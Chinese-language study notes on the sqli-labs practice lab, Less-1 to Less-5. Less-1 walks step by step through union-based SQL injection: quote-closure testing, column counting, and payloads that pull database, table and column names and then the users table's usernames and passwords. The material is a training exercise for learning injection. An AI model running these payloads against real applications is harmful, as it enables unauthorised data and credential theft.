sqli-labs
Less-1
基於錯誤的GET單引號字元型注入
index.php分析
- error_reporting(0); 不反饋錯誤
- isset($_GET['id']) 檢查($ _GET['id'])引數是否設定
- LIMIT 0,1 從第一條開始記錄,只取一條記錄
1.推測閉合方式
?id=1\
輸入\ ,後面是' ,推測是單引號閉合
輸入 ?id=1' 報錯
輸入 ?id=1' --+ 不報錯
證明是單引號閉合
2.查詢列數(order by)
證明一共有3列
?id=1' order by 3 --+
3.瞭解顯示位(union select)
顯示位指的是網頁中能夠顯示資料的位置
已知表的列數為3,使用union select 1,2,3檢視顯示位
?id=-1' union select 1,2,3 --+
由此可知 2,3列是可以顯示的
4.查詢資料庫
查詢資料
- database() 在用的資料庫名
- user() 使用者資訊
- version() 資料庫版本資訊
- @@basedir 資料庫安裝路徑
- @@version_compile_os 作業系統版本
?id=-1' union select 1,database(),user() --+
查詢出在用的資料庫名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查詢出所有資料庫名
-
information_schema資料庫是MySQL自帶的一個系統資料庫,主要用於儲存關於資料庫和表的後設資料資訊
-
information_schema資料庫的組成(主要的只讀表)
schemata 資料庫名
tables 表名和所屬資料庫
columns 資料表中所有列名
-
group_concat()函式:將查詢到的多行結果連線成字串
5.查詢資料表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
information_schema.tables的欄位資訊:
- table_catalog:資料表登記目錄
- table_schema:資料表所屬的資料庫名
- table_name:表名稱
- table_type:表型別(如系統檢視或基礎表)
- engine:使用的資料庫引擎(如 MyISAM、CSV、InnoDB)
- version:版本,預設值為10
- row_format:行格式(如 Compact、Dynamic、Fixed)
6.查詢列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
7.查詢內容
?id=-1' union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
Less-2
基於錯誤的GET整型注入
1.判斷閉合方式
2.判斷列數
3.檢視顯示位
4.查詢資料庫
5.查詢資料表
6.查詢列名
7.查詢資料
Less-3
基於錯誤的GET單引號變形注入
- 表名,庫名要加引號
- 查詢資料表時,後面要加where語句,表明在哪個資料庫中
- 查詢列名時,where語句中,庫名和表名之間要加and
Less-4
基於錯誤的GET雙引號字元型注入
同上
Less-5
基於GET單引號雙注入